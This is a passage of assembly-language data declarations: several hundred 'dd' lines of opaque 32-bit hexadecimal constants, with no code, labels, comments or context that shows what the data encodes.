dd 0A488EEF2h, 24E3B913h, 2875601Ah, 6688AD2h, 0C5A1D1C5h
dd 0DE384411h, 0CC0D19C4h, 0D076C23Ah, 9B200001h, 0D1F07963h
dd 45739C26h, 5264E293h, 0B5B79CB0h, 92DC5F8Ch, 0D2603DE3h
dd 0DD1496CFh, 0E3B29756h, 0E0D2C6EBh, 0FA750322h, 6850F6DAh
dd 3BB4D4CBh, 0E77BD2FCh, 0A6983BAEh, 74304FB5h, 0B2A657Fh
dd 0BC188355h, 0BF711BFCh, 0C7B3A601h, 4D86EC3Ah, 77EE075Ch
dd 48AA7E6Fh, 0AB9EDDB8h, 7C8321C9h, 29EC5C3Fh, 7B3ED538h
dd 0BA299A34h, 3EF66C36h, 9C4D5D57h, 0DAD2DEB3h, 5BC1B868h
dd 0CDDF3DB0h, 0F8D0A96Fh, 64E4338h, 80D60906h, 6DC97E9Bh
dd 0AE6296CAh, 5354F74Ah, 0EC2BF2Eh, 6BA9AD95h, 0E4DD9BC8h
dd 2E35F5D5h, 5593EB6h, 0B4EE95C8h, 821A2620h, 0E82311BDh
dd 80AD81A6h, 0DE0B51D2h, 0F940479Fh, 0C3BB0C53h, 9B49ACFAh
dd 479BB073h, 93532FF4h, 927F2567h, 0E1BB9367h, 0B9FB65F4h
dd 0D0B69DAFh, 8BF468EAh, 578244Eh, 8E8BA738h, 41F7267Eh
dd 0E95AC6Ah, 48848E06h, 0C53CC7D3h, 0C4632FBDh, 34FCCAE6h
dd 0FF43DA4Eh, 0B10E2CD0h, 0B0F07979h, 4BE89E75h, 0AC93AD61h
dd 4931631Ch, 3E7E5674h, 0C10FC794h, 1A65DBE1h, 0EEEB953Fh
dd 0F3EFA578h, 0EC5ABB70h, 385DC246h, 0C5D2A659h, 3480BC3h
dd 0CBA4AF0Bh, 848C2015h, 0EE91E9EFh, 655DBBA7h, 2FEE93A9h
dd 0ACBA45D4h, 4EE23459h, 9AF9DBh, 0BE016466h, 90560A8Dh
dd 8FBE5932h, 0F259409Eh, 33A99ECBh, 81285E14h, 53989A05h
dd 1EB71631h, 0E7A472E3h, 5AC2B090h, 36BC85h, 72AAE5CCh
dd 0CC6A8CE0h, 0FE8CD83Fh, 0AD76DAF2h, 874D00E8h, 3256098Fh
dd 0B232079h, 0C3FCC928h, 753F1A36h, 0F8CAFED7h, 8820545Fh
dd 0E7E33EA5h, 58686FDEh, 47C97FEEh, 0AA544F20h, 0E5D7670Fh
dd 25EB8587h, 0D2875E19h, 26FCB3A0h, 9FDFB579h, 83251E6Ah
dd 36C40BB5h, 2873CD8Ch, 68A7548Eh, 0C59907F1h, 85B6CC32h
dd 925A2446h, 91A00869h, 90989018h, 33FBF999h, 168807EFh
dd 12116369h, 0B6C17828h, 82CB03F3h, 94027052h, 8EE17710h
dd 0F1686010h, 0C28A45A1h, 9D624B0h, 0B7C1A80h, 0CE8DCD90h
dd 0EB32CA75h, 37FCD606h, 0EFB158E4h, 191D44F8h, 7024EC3Ch
dd 23333F00h, 54974024h, 9FEDEEAFh, 0EDA1F17Ah, 8E96037h
dd 7037658Dh, 0D787DABFh, 4AA66C79h, 814F7495h, 7CA9B442h
dd 12A2C0F6h, 0FAC4FDF7h, 1192B072h, 26DDFE34h, 916103F6h
dd 0E161F9D9h, 14EBE356h, 9710C084h, 634AFD48h, 0F5CC2024h
dd 84F86297h, 74B27347h, 0A9CA8127h, 0E073B043h, 0B9B12F95h
dd 3692C089h, 0BE9ABFC0h, 39ACB53Ah, 815ED5ADh, 0FEB9064Dh
dd 0D08B6246h, 0C984F953h, 0FF597EF5h, 3318ABB4h, 0B3AF5E07h
dd 0F00F7BEEh, 58AD32D3h, 5A582A97h, 0BBB360DCh, 1C35A213h
dd 0E79BA4Eh, 0BDF1B710h
dd 3E71EDB9h, 0FEABEE96h, 5C3B8C7h, 0EE76DF12h, 1F5A9C2Bh
dd 8D2DB8FFh, 20ECD9A5h, 6386F6F3h, 0A25AA53Fh, 7C9E6AB8h
dd 5B1118BEh, 0B29D76CEh, 25FFCD8Ch, 514F3D6h, 45605865h
dd 60F7E352h, 4B7260E7h, 0AC6AB1A7h, 0F39F0D82h, 22F4E7DFh
dd 0A444114Ah, 0FEF4986Ah, 8DFE5597h, 0D27FC56h, 0D8F5EF77h
dd 0CAB030F4h, 0CD31DBC7h, 7FD984F0h, 96FBC882h, 18BCB4F4h
dd 0B954BB11h, 0D702E723h, 2DA89A1h, 0FF2C89A6h, 5B68F05Fh
dd 91A2F9EDh, 0CB8E6982h, 2D47E90Ch, 840B2265h, 6BC49F72h
dd 0E69BC44Ch, 7F0380BDh, 1CC33642h, 0B343393Bh, 8DA7452Eh
dd 454FCEB4h, 0E9938BFAh, 0ABF169FEh, 9E0EC36Ch, 86CFDBDEh
dd 0BFA6077Fh, 96459698h, 19ECABDFh, 965ABE3h, 7FF709E9h
dd 0A0A95D5Fh, 2600B8CCh, 39658CF6h, 301AC14Eh, 61232Dh
dd 3B24F51Dh, 0CE328C27h, 2E75BD75h, 2B2E3347h, 0F926D3D1h
dd 0AFE93FF1h, 0ED639D5Eh, 0A8E1016h, 0FEB0D820h, 30C9660Ah
dd 33154515h, 9F361CCEh, 0EB84A444h, 2112E7D5h, 0D56FE17h
dd 0AEEBFC4Bh, 34AC0062h, 0AC4035FBh, 65CE7C5h, 0B0A24645h
dd 33182FF2h, 7B2D72D7h, 0FBA8FDF4h, 0EE63B277h, 4B0F5078h
dd 22DE4510h, 1F7F5C9Dh, 7B75081Fh, 9F7D6BECh, 73A32EA4h
dd 0C07EF3AAh, 0A3ECFE02h, 0FBA8C7BCh, 3DF3919Ch, 38CA0414h
dd 812ACD32h, 6111866Ch, 0E275E1D3h, 0B054FD64h, 216065EDh
dd 38F66C36h, 6AB441C9h, 7327B934h, 0F0A69D3Ah, 0A3261F4Ch
dd 0E2635588h, 0A3E9BD55h, 792AEC53h, 455B2F0Eh, 0FFDF0172h
dd 8436D5E3h, 2BA840A4h, 0B55D9A94h, 0F35F560Ch, 1729D2A4h
dd 61933DC0h, 0BFF4C39Ch, 683CE21Fh, 7791DA99h, 495C6C92h
dd 4C58E9Ch, 0C3E2A5E1h, 0C7AB5F9h, 0ED64D64Fh, 84B73D47h
dd 0F2227D59h, 24622815h, 0C8AA2572h, 31206370h, 5F2DBB8Eh
dd 0A473E59Ah, 0F5B7A5D0h, 9A12FD57h, 0FF83B588h, 0DD1777DFh
dd 65C954A1h, 0A91DA13Fh, 1528A15Bh, 785E0AA8h, 0B28082F6h
dd 0D34CFDDBh, 0CA485188h, 42EF21Ah, 0B41CDE2Ah, 1960C12Fh
dd 5820F0B6h, 3DC04BF2h, 87AEDAFDh, 0A14B82F8h, 0A1A15CA1h
dd 5E02ABC6h, 4ED3DE02h, 507D95CDh, 43ACA3A9h, 8C1D1711h
dd 1E58D214h, 0B4047F34h, 23D70167h, 7D96585Ah, 5794A4E3h
dd 0B1D81F42h, 0C72C1B74h, 1EF1FCFDh, 0E87227E7h, 185FE0D2h
dd 209FF651h, 54EDFA6Dh, 1D31C715h, 5EB6F98Fh, 0DF678340h
dd 1524F801h, 811FFBAFh, 2655F73Ch, 5A927550h, 408D83FBh
dd 46481E89h, 6071757Eh, 66F97ECDh, 9BEA81CAh, 0B6C794A8h
dd 0DB59C6C7h, 63326CEDh, 31A600D9h, 0BFB7BC32h, 19DFF1FBh
dd 0A6BD0FEAh, 0EC936E0Dh, 78913C1Dh, 0B06F6FF5h, 6A606A16h
dd 92DA0D83h, 67D35340h, 84DCED89h, 0FDAE20ACh, 898A4137h
dd 0B3D93600h, 0E2829D5Ah, 3D7842Ch, 0CF4DB6DBh, 0C788708Ah
dd 0EA58295Eh, 726C047Fh, 15537116h, 61B8ACB6h, 0A228FA3Eh
dd 62B25C56h, 0FF591D85h, 0FE3BBB43h, 0B0ECE3DDh, 0F2651A12h
dd 928A66B8h, 5D92BFE3h, 426C4754h, 0B8DBAE76h, 9F0F2C2Bh
dd 0BA61A545h, 717BA443h, 0C25F81F5h, 0ADBA93A8h, 6F405827h
dd 58A0EE28h, 18322617h, 55312085h, 5208CC33h, 0D2D79ACBh
dd 9A582B63h, 3EB833DDh, 0A5D7E113h, 1507B028h, 424FAA06h
dd 471A1D38h, 79FE3A2Ah, 3CFC3825h, 7FE2297Ch, 0C2861EA8h
dd 0ECDDBA35h, 2B0A69FEh, 0AC14B135h, 0B1CBA6D6h, 0F5890A78h
dd 4CF1CBEDh, 0BBE01FD3h, 0C8232511h, 1353D1E4h, 0BF26BC02h
dd 0E447CC2Eh, 0C014AF81h, 0BFD8BE6Ah, 0D872A737h, 0AABA02BEh
dd 44E3E3D4h, 0BD7A1320h, 0A16F32C2h, 770B19Eh, 3A9E8F87h
dd 43F5F3F1h, 7CDDE238h, 0D3B43076h, 2DCB8181h, 2EAC22CBh
dd 903F0395h, 0B6324A0Fh, 5655C91Ch, 2C11420Bh, 55062BB5h
dd 0C9BEB0C8h, 0B4CD01EBh, 73297A78h, 9778872Dh, 0DC79C331h
dd 4881C5B4h, 6BBB9E18h, 0ABF2DB73h, 97B53C38h, 0C9A173E7h
dd 340CBBD2h, 0D253A98Ch, 0EA26BD87h, 0B994EFF1h, 6DB13E4Eh
dd 0A080093Fh, 96A7500Ah, 0FFAB2DB1h, 0A6EC1C54h, 77E34DB5h
dd 0B9FFA8BCh, 0E6FD8062h, 3B95A91Eh, 5CE70C7Fh, 882D63E9h
dd 0D73F1E18h, 7AB46CB9h, 518A4B0Ah, 0CD560696h, 8AF3168h
dd 5F4C9ADDh, 2B13ACD5h, 26D59597h, 0DC2B7060h, 0C1CD4704h
dd 0CC7E1090h, 74E639C1h, 0EE52BC52h, 4D05EF95h, 0B5BA7170h
dd 994C5E11h, 4B2EB73Ch, 99D295C8h, 0E23AEFAh, 126C7384h
dd 0DB6F2A51h, 4E2CDB28h, 6681CD81h, 4C881DBCh, 1392B1F5h
dd 77B25A49h, 993F9221h, 13C13C04h, 778A6AEEh, 5E2F1E13h
dd 0C571A787h, 756218B0h, 49F47E9h, 0BB1FF4CCh, 72BCF47Dh
dd 63ED0553h, 0A2DD95AEh, 0E4974B9Dh, 75F13B0Ah, 0FE7D7FE4h
dd 45C233FBh, 0BC2EA675h, 0E67852F9h, 0B94832C8h, 0B9F3D289h
dd 5177D1Ch, 4404F391h, 7F0BD807h, 0BD3C23B4h, 0E7F617DBh
dd 566023A5h, 202C7862h, 0D1F24910h, 0D978975h, 4C021FF2h
dd 10E13F1Bh, 0D0D17790h, 0F8A90A16h, 686C50E1h, 59A1F31Dh
dd 12F2334Ch, 693ED50Ch, 0A038602h, 0F42A414Dh, 8537ED2h
dd 0D65325ADh, 9431EF1Dh, 0EBD97DF1h, 0C64333C0h, 0D3173521h
dd 763F1660h, 8CBF9112h, 0B4F88E78h, 6DC54B72h, 739C8972h
dd 84D2D098h, 0AEAE0C83h, 334C9964h, 0B8D39BAEh, 0EB8B1CE9h
dd 0DBB1F9D1h, 27E79B58h, 68C4FAFh, 4A641DAh, 43CCB150h
dd 69C13E06h, 757882A4h, 281917h, 1896DE81h, 0FB702C0Ch
dd 84D2D770h, 0FA4B324h, 0BE17BCEAh, 32C5C5E8h, 5AA99362h
dd 2A98FA96h, 0A0DE0AA8h, 687D151Dh, 0D4A5C1F8h, 9056C999h
dd 76EB0524h, 0BCABC4EDh, 0A5D7A4ABh, 6CB227E3h, 89126A1Fh
dd 0A79DA5EAh, 8869F7B5h, 0F226C662h, 0D95B84B7h, 1F11D4B6h
dd 9CF17297h, 571B4BE3h, 4D47AD4h, 510467C7h, 0E051A61Ch
dd 0A0812825h, 82DC91A5h, 600106E3h, 0D1F70887h, 4508595Ch
dd 595E0799h, 46E12677h, 0F3A6579Bh, 66C9728Ah, 0A20E4C17h
dd 88F6042Ch, 0D8C775D2h, 0DC2D47F4h, 65A20352h, 93192E69h
dd 1B80C676h, 4A9508F8h, 8946C6F1h, 8CDD2B8Dh, 7D977E0h
dd 5985B96Dh, 0A32DF2CAh, 0E67084B6h, 2F7B22Ah, 7BC4D38Ah
dd 19080887h, 0FE6C3390h, 7220FA26h, 0E05564CCh, 6F00370Fh
dd 0A84776ABh, 0F0F797ECh, 75BC7566h, 26725670h, 238587B6h
dd 0CAB6344Ch, 1C1D0972h, 0DBAD338Bh, 54F8D1D9h, 2CA32F8Eh
dd 37D4DA91h, 818C7D1Bh, 0C9A50FC6h, 2B72BA4Fh, 51481D5Dh
dd 0FC33B28Bh, 0F708CDE4h, 653B5065h, 439C6A51h, 27289634h
dd 84EF6E4Fh, 2095688Fh, 0A9B85C98h, 0BF0F17C9h, 0DCC600FAh
dd 0BB7471FBh, 0DB57C53Ah, 0B42D81E5h, 4CC4D40Fh, 406E7D1Bh
dd 0BF8E11C2h, 0CB9B0B65h, 0DE2B49E2h, 824700AEh, 0BF0A119Ch
dd 4648EAFFh, 74AAFA51h, 91CFBFB3h, 0ECB0900Eh, 0FB496272h
dd 7A8CA0F1h, 0DDD8F058h, 0AC17BC55h, 0A2EB31A2h, 9740F20Eh
dd 0B4875EBBh, 64C5C201h, 0EB7835FFh, 0EDDB0F22h, 9BFCD295h
dd 0B0A23437h, 415E6C05h, 87B8EE69h, 9F296602h, 30515857h
dd 10465AB6h, 0BBCEC58Eh, 0B9E96831h, 6673D22Fh, 0C7F5A858h
dd 4DC655BEh, 0A0BDADBEh, 8D661747h, 12867861h, 40214A76h
dd 19798E9Ch, 2EAD8C25h, 9BBB331Eh, 0F7A0E12Bh, 1F61CB61h
dd 0F78931h, 145E550Fh, 4D8B87A5h, 7A4DA890h, 6C98CBBAh
dd 3453C544h, 1773096Eh
dd 9FD922C0h, 823AC62Ch, 2C8296AEh, 0B151E8A3h, 44DE1C17h
dd 0B147F65Ah, 89D1A1EEh, 187338BDh, 18D3FA6Dh, 24C4BB88h
dd 167F80Eh, 2495CC2Fh, 0C930299Dh, 0DC4600DAh, 0A52E4CA1h
dd 0F24E1082h, 959E9F3h, 7937FD55h, 0A10E41C5h, 88F95D32h
dd 40E5D7C9h, 6C3DB812h, 26AC1578h, 247D747h, 0D4077169h
dd 95A0349Eh, 97F63647h, 3BFE59B5h, 1B4D5A15h, 0C19424D8h
dd 0E6438250h, 0DA181927h, 1E86C8B2h, 95A423F1h, 0D4C22759h
dd 883CCC30h, 78D226F7h, 0BF25C863h, 61CE5098h, 0D9860178h
dd 0B9FD4085h, 6C40C65Bh, 4E725925h, 0CFE18160h, 9D568431h
dd 0B950553Ch, 8943D81Eh, 6EDFA2C1h, 0C786FA5Bh, 0EF20971Dh
dd 1B9BC74Dh, 0A4EF35F2h, 62DEF621h, 153D9721h, 0D89B95F6h
dd 0A581AA1Bh, 7F7E210Dh, 75F03FB7h, 70CFC855h, 0C0FD5410h
dd 6F79F2C1h, 0E36B17A5h, 7912FD4Eh, 9B8C1B76h, 0D15BB577h
dd 0DFBE9FEh, 0B6A64508h, 20312E97h, 8A0B7CDh, 0E13DDD61h
dd 5B16650h, 0A4278B0Fh, 0F201B8DCh, 54C1448Bh, 2F932503h
dd 0ACBB30CCh, 588C828Bh, 0C2D451E5h, 0CFA6D58Ch, 69C79052h
dd 187F9B15h, 91C84180h, 0F5EA3A8Fh, 7CF71B4Bh, 622DC880h
dd 0C563AB92h, 2569F439h, 0F99F83E6h, 93F73421h, 38999FA3h
dd 9359B7EAh, 81526E16h, 9D110ACCh, 9D96CC7h, 0D6C2B754h
dd 0F0C50A0Fh, 0AD3CD1Bh, 0AE024386h, 0DE984483h, 2C4F8D1h
dd 5C4E19DBh, 7FCF3C6Eh, 0BD25C978h, 9794A18h, 3C47AA37h
dd 0C52C1F7Ch, 4EF0DD17h, 840BCF9Dh, 31F9EE84h, 944289D5h
dd 773EB4C4h, 6F05FCAAh, 1C16B54Fh, 0B3667C92h, 20E896BBh
dd 0AB496172h, 3224F4ADh, 0A5956EECh, 0AE692EECh, 69E7465Eh
dd 9BFCD795h, 0F745DDD9h, 8E1AD521h, 94452E8Ah, 0E9B1CAB3h
dd 26454DE3h, 70C9E185h, 0C4BA694Dh, 0E3E1BECDh, 0F3400550h
dd 3CE2B44Ah, 51047967h, 9FF34B7Ah, 7E0FF49Eh, 8BEE9863h
dd 9C4AECEDh, 0C4EC5A7Dh, 2BCF8B09h, 7ECDFFBCh, 0B5F9BEB3h
dd 2A708748h, 0A9439F6Fh, 102367ECh, 0D7DC704Eh, 0CC1EED09h
dd 49840E27h, 0D28A24DBh, 960A609Fh, 0C1D8CAA7h, 3A4C0474h
dd 0EEDF32EBh, 3969D794h, 1EB1CBB7h, 0B6C9BCCCh, 0FC2A2509h
dd 0E1015E23h, 0C27EEB87h, 0CC4A59F0h, 75620AFCh, 0D7854849h
dd 76B8C688h, 0EEDBE535h, 3D02D7C8h, 0F5791BD7h, 55BD820Ah
dd 11408722h, 0D815CD03h, 4C516003h, 0C24BC685h, 9563A2CCh
dd 389D6174h, 0BD8B4CDCh, 44FEDBABh, 0F439D728h, 9C464C16h
dd 0FC0BA5FDh, 0D8886945h, 68AB7914h, 13338274h, 84C1727Bh
dd 0BBFD17E8h, 74318BFBh, 1D0DA6B1h, 0DA049A9Dh, 0FE9862D0h
dd 98A9CC10h, 381288BBh, 1F6F0171h, 0CCB33EA0h, 89A99FD3h
dd 0CACA9180h, 506FED2Ch, 540B37ADh, 1D45D6F0h, 2C66C3E5h
dd 5F9CA219h, 3856CA6Fh, 35279D89h, 3E741F9Ch, 0CBE945FDh
dd 0BDE55765h, 8E7E746h, 6B74833h, 9E557E44h, 65297D2Ch
dd 0DF11FF24h, 89DD5644h, 0E5FFA0B1h, 626C07CFh, 2247B738h
dd 9D9395E0h, 0C73119C0h, 5B8FEC5Bh, 0DB06A6DAh, 0B7D3CA90h
dd 2758E8D9h, 0F0A93AB0h, 975C39AEh, 0A02EB120h, 0FA7A9EA1h
dd 335FC161h, 37666993h, 0D7C0AB09h, 0D82364F4h, 2455B95Ch
dd 9CA86FF1h, 93AFA959h, 2C4633C9h, 92C0A3E8h, 5782737Ch
dd 543821D7h, 0F1E90D4h, 8AFEEFBAh, 38ECE5C3h, 0F26A6CAEh
dd 9DCC4724h, 3F56BCB6h, 0F9F5D306h, 36730DB1h, 4570DDABh
dd 6A8F01Fh, 0DA55F514h, 6228CC4Fh, 0AA37A6A2h, 42388977h
dd 0AE7C10E0h, 0AF4DA17Eh, 49A7ED44h, 8C25C781h, 0C3034C7h
dd 57F88358h, 112210B1h, 0E6EAC4A0h, 0D732139Ah, 0D66742FCh
dd 37BDC6CCh, 0ECEF26E3h, 0E023E3FDh, 722903DBh, 716C3F3Bh
dd 0CC88BA49h, 5E389E8Ah, 104F0054h, 0E92D351Ah, 0D82ED1DDh
dd 1896E5F2h, 4207A099h, 76E3875h, 24EA4CEEh, 0E96587A4h
dd 6ACB6906h, 60E765B5h, 1ED7751Fh, 281E3633h, 3FB5208Bh
dd 94E199B6h, 856E2F7Ch, 466B5882h, 3F6B2A59h, 7201DD4Bh
dd 0B7BA10C2h, 30D5EC0Eh, 66BD77Ah, 0E83AB736h, 0C796C21h
dd 8FF3492Eh, 0BE293AB6h, 0B16AFB59h, 87ECDD90h, 0F5EC236Dh
dd 7B5E58FEh, 61A2495Eh, 0F764B8CBh, 9C12F7E7h, 0D5B6B20Ah
dd 0E4F83158h, 101461F2h, 0E5D48E75h, 63034A8h, 4EFFEF64h
dd 4CBEA1D8h, 889FE8BAh, 88FE53A5h, 0AF8BAD1Ch, 5A886D4Fh
dd 5EE0A5F6h, 0AB1BE6ECh, 8EE020D4h, 1A1D7077h, 91D87CE6h
dd 574D53DAh, 14961FC3h, 0A2CD20F6h, 836A5118h, 46710D48h
dd 0F4443236h, 0B0E2E8C9h, 0DBA20132h, 627D8979h, 0BA18456Eh
dd 2065B056h, 3699942h, 0B1A20307h, 0A4B05904h, 82744E7Dh
dd 39978D5h, 94EF58E3h, 0A34AEF3Eh, 836FDA18h, 17C411D1h
dd 0A0C781Dh, 7D8DD38h, 870036B5h, 24E1477Dh, 6051606Fh
dd 0DADA2D7Ah, 1B3B008Fh, 21575ACFh, 8F5D0F1Ch, 3BAAC225h
dd 5EF755A0h, 0D3B770DAh, 764FF8C9h, 5341DACBh, 35AAF48h
dd 80D9077Ah, 0CD5D2298h, 71EE7CD6h, 0EBB841C6h, 35ABE7Ah
dd 0F937BE64h, 8F1D5416h, 42F28C28h, 4450A53Ah, 6CE1723Ah
dd 0DE094320h, 8288505Fh, 43F17E0h, 64018DA3h, 0EDD7EF82h
dd 601CB19Dh, 94BE46DBh, 2AE168D7h, 0D21F7FF3h, 0C77AD9E6h
dd 47304A0Bh, 40D9C5Ah, 0CD387A69h, 0B2AE8287h, 8CDBDB8Ch
dd 0EB215A68h, 8AEB7F02h, 0DFE94D40h, 902D29E9h, 0AB2B6358h
dd 5BD66E30h, 88CAD5CFh, 8BAD773Ch, 70FF963Dh, 2AC0A8D8h
dd 24549B4Dh, 490AB39Ah, 509E4426h, 9297F7C2h, 3F378B30h
dd 50034D7Ah, 7AC319CFh, 0A0932D4Dh, 76CA644Eh, 54295909h
dd 2756866Dh, 919B3448h, 0F296381Ah, 0AF90E04Ch, 0E3B29F65h
dd 964A3FEFh, 0EE59F05Ch, 0C3D3B747h, 9BC4E046h, 0CFA68665h
dd 0CE3C5715h, 2A28227Eh, 3BEF6C5Ah, 0B500E4FDh, 1C3600B9h
dd 0B68BE35Bh, 0FA77DC5Eh, 0E493062Ah, 141E0844h, 0EDE48EE3h
dd 0D5EC71E1h, 0B880D4F8h, 8704DAF4h, 2312E24Dh, 98772F6Bh
dd 676DEA4Ah, 0A1E71EC4h, 5250E6ECh, 6E64688Ch, 0DC88FD43h
dd 0DF46AC26h, 8BF22250h, 786EB43Ch, 0B452814h, 968833AEh
dd 4467FC05h, 0AB3073Ch, 1D4D32Ch, 0A5001367h, 0B6715EFEh
dd 0CB33D0h, 4AD057A0h, 8475E3F4h, 894709Dh, 8070BF2Dh
dd 1D103008h, 3F0A9953h, 1E379A28h, 2800CFC3h, 4E64C037h
dd 0D7585AB6h, 9D4F3B75h, 748B9EEDh, 763D226Fh, 0C90ED528h
dd 0F70D8F58h, 0DE83C8FEh, 2EDC77F0h, 0F30B26A4h, 0A6AD24FFh
dd 0DF65B7D9h, 293E1D59h, 4811A81Ah, 0CCF0EBB2h, 29A3883Fh
dd 0EF02B1BBh, 15DCA35Bh, 0A6C4E222h, 8097C580h, 3137F112h
dd 0DABDBDD4h, 379D60A8h, 365D7175h, 89FECF52h, 0BD56BEEEh
dd 1F8F555Ah, 99E884E0h, 1E355062h, 0DB70CC4Fh, 2F430775h
dd 5FCEAE46h, 0A626E75Ah, 15D175AEh, 0C0B55544h, 9866B5B4h
dd 35C9C575h, 0F37DFDA7h, 3A5A82BBh, 0DB4E8C7Dh, 56BD3700h
dd 4677325Eh, 0D7BC6016h, 24EEA15Eh, 0A929482h, 20B10525h
dd 98B8FA51h, 639DE604h, 463E2404h, 64B0B96Bh, 2DC501DBh
dd 941DC765h, 0A80F28Ch, 0E76A91E4h, 1EB8A7C2h, 68FDBB38h
dd 72F1ECCh, 0A4B30368h, 2031C382h, 73ABF999h, 8AE7FE75h
dd 0CF16A9B5h, 4C46654Eh, 0D3C1B474h, 0C016F130h, 4C877D27h
dd 6ED22894h, 0FA7731B8h, 1C959D2Fh, 0AB07025h, 0F98254C7h
dd 8F62DCE5h, 4FF1E5B3h
dd 0E82A1BB9h, 503D91A8h, 13640AB5h, 44CF404Ch, 8ED215A9h
dd 81910C03h, 7D5B8830h, 0D421C6DAh, 4D3E210Dh, 0CB31575Fh
dd 7971FAD4h, 0FF3845Fh, 0CF860FEBh, 83FA49D9h, 1C399628h
dd 493012B0h, 0F9B2FD9Ah, 5FB43C3Ch, 81843BBEh, 3BD76240h
dd 0F6CB4155h, 0A5EDBBC9h, 0D64C21C8h, 6E5A175h, 88F2E9E5h
dd 6E17080Ah, 7E9B31B5h, 6A739FF2h, 0F8368816h, 668CC8FBh
dd 0AC19D456h, 9943BB36h, 0BD56CCF6h, 0CC5224D6h, 0DA2BE71Bh
dd 0A65951AEh, 7F982CEEh, 0CD7BD727h, 0A164C5AAh, 327F37B2h
dd 0DF6EE37Eh, 0FF19ABBAh, 0F112CD1Ch, 18D45801h, 0B27DDE3Bh
dd 8C2159F1h, 636E60D8h, 0C2B0215Ah, 0B93F793Fh, 0BE157C61h
dd 343CCF04h, 506FE74Bh, 0B5C1D4F1h, 0F89C82DFh, 0D3479D52h
dd 0FA8B4BF5h, 0BFC11F2Ah, 9CC42B28h, 0F5C7B2B1h, 97A124A9h
dd 0D95CCEE5h, 0ED5EF66h, 0FD92CDB5h, 36B0D792h, 2313FBE0h
dd 76736C3Ch, 0E4890B27h, 0B8ACA8h, 0F080DF33h, 0E233D785h
dd 3BA254B6h, 8937E0E9h, 0A63C11A4h, 38C15097h, 0E4F0F291h
dd 0E1452113h, 0D783A53Bh, 0EB10327Bh, 80184003h, 0D3616486h
dd 12BF6729h, 16D287E4h, 0A45E108h, 73C90775h, 903874BEh
dd 68B234Bh, 0D45A24E6h, 0FC9A5E1Bh, 9DDFDD0Dh, 72A9A4EBh
dd 96274DACh, 0F3B92A42h, 18196C6Ah, 0B42B8B41h, 8422E6FDh
dd 0DDD6C40Dh, 854F4365h, 1AEF1C26h, 887F7BFFh, 25F51CCBh
dd 0FF6E9BCAh, 661923A1h, 25910F6Dh, 83A9CABBh, 0B55B3D79h
dd 83CDD20Ah, 63E7AA8Bh, 7A580819h, 32414973h, 0B161C26Fh
dd 82963A51h, 5A2F9CCh, 6DC3DD6Ah, 0B30D1F2h, 259A28CBh
dd 343DA360h, 0E30C4326h, 0E138EA0Bh, 7B61092Eh, 7F49DB8Ch
dd 3A62C2CDh, 884D1391h, 0FBBDB2ACh, 0D724055Bh, 0BE260FE8h
dd 17628E6Ah, 74A42D6Bh, 0E9A26009h, 0F32422D9h, 7634EFC6h
dd 0AB09E586h, 31624A4Ch, 78B621E7h, 27178F92h, 0AFAB4848h
dd 0BA7D572Fh, 0A36106EBh, 2FD384E1h, 16286A85h, 0DD8D122Bh
dd 0B72EF63Bh, 0E49C2A93h, 83ED17BAh, 0D4E4A62Ch, 4B46F1A8h
dd 7A8B08AAh, 69235F1Fh, 0C679FC45h, 75558079h, 0CAEF74C6h
dd 6C0505D6h, 0AFADF7A0h, 0CE81E40Fh, 3C7A4E1Eh, 46AAC12h
dd 1E92FC65h, 700169E0h, 0EDB1B9D2h, 96369511h, 2E4349BFh
dd 0FF21A522h, 0AAAC4635h, 0AE433AB8h, 0DEFBE3E8h, 0AD4B1A17h
dd 0FA6274E5h, 40ACFF18h, 0B026E33Eh, 32FDEEF0h, 0DC80C674h
dd 0B1258203h, 0EDF9D083h, 0BBF9D7F6h, 0AA03BA0Fh, 0AABB82D6h
dd 0DF86E941h, 6D9B2F0Fh, 9370178Bh, 58C47D55h, 0AB6C37AAh
dd 96F1D459h, 0FDD47644h, 2FBE3EE5h, 7E6D1E5Fh, 79350AFEh
dd 7B55AA18h, 0D757A0Dh, 0BA06A801h, 5E96DCFBh, 24EBF6BAh
dd 6BEE33C0h, 66F2DD2Dh, 48E8ED15h, 0EA301A1Dh, 700BB85Ch
dd 0C6A0F61h, 0C788C3C0h, 41344823h, 964596DBh, 4FE15939h
dd 0A266B4ABh, 0FE8AAAD8h, 0FD83254Eh, 0E5738620h, 27504F94h
dd 56AE2D42h, 58CD446h, 0ED6560E2h, 2F36CD3h, 0A763E39Eh
dd 0AF151298h, 5753AE3Fh, 14107574h, 39C7F2EEh, 3BB3A631h
dd 7DC60A3Ah, 2137D5h, 0C0B9FDEDh, 5AF6C505h, 4691A839h
dd 2DABB1BDh, 45F2C7A1h, 251CE7CCh, 0B3B824EAh, 0F618A210h
dd 7E4FBDF6h, 1F3D257Bh, 3207011Ah, 7564F35Fh, 0A9387B87h
dd 625CE994h, 0F49BE74Ah, 890D3E3h, 0C1475A62h, 0E3E55145h
dd 0B5F1361Dh, 5A361CCAh, 0AF2D9C42h, 0BA7FC67Bh, 0D6D79168h
dd 55CDF39Ah, 32AE8A9Ah, 0C9D6F659h, 17D50292h, 0DC41A7D5h
dd 139C3EBFh, 0C7706DAh, 6F6593Fh, 6205A5E9h, 0F8CD798Dh
dd 74BEC73Ch, 6DDFDFDh, 0C18518FCh, 0BE09C5BEh, 5501998Bh
dd 162E42C6h, 1FE561BEh, 898E1B61h, 5931D27Ch, 0BC0B7E6Eh
dd 6609F1E2h, 3429E56Ch, 0A5F2B6D0h, 9E375152h, 0B1D4DA6Eh
dd 3EC26EEFh, 12A7B364h, 5A322F9Dh, 0CCB4EF25h, 98247A5Fh
dd 0A2F698CAh, 9E2297E3h, 79F4F331h, 2B088BC2h, 0CC0A081h
dd 5A137831h, 6A01E14Dh, 0EA613FEEh, 0DB1D0E6Bh, 94DADB88h
dd 25E2BFFDh, 5663C923h, 0DCBAC2D8h, 18FA5AF2h, 0F7A59005h
dd 79184CA2h, 6B3CD7F8h, 8E72DC0Ah, 518C825Ah, 9E1FA0FCh
dd 1FFD5F16h, 0E444E845h, 0A8DA853Bh, 0B1EE58AEh, 0F272227Fh
dd 87AF4FF3h, 0D26D5B1h, 7890B039h, 0B2A82524h, 0D4D427B2h
dd 0A615684Eh, 8F3EF119h, 0F2DE7666h, 0A8A8B4C9h, 4CA22184h
dd 0B509C897h, 76EE84DEh, 832847D0h, 595C7218h, 11D10F50h
dd 33A21229h, 0B6CADAFEh, 46716B44h, 7C62CC6Bh, 4D51F07h
dd 72E16140h, 2BC5DF8Fh, 561AB605h, 3B4192A4h, 69151DA5h
dd 1E9EE8E6h, 425A856Fh, 604B20E3h, 5E8089FBh, 23DFA75Ch
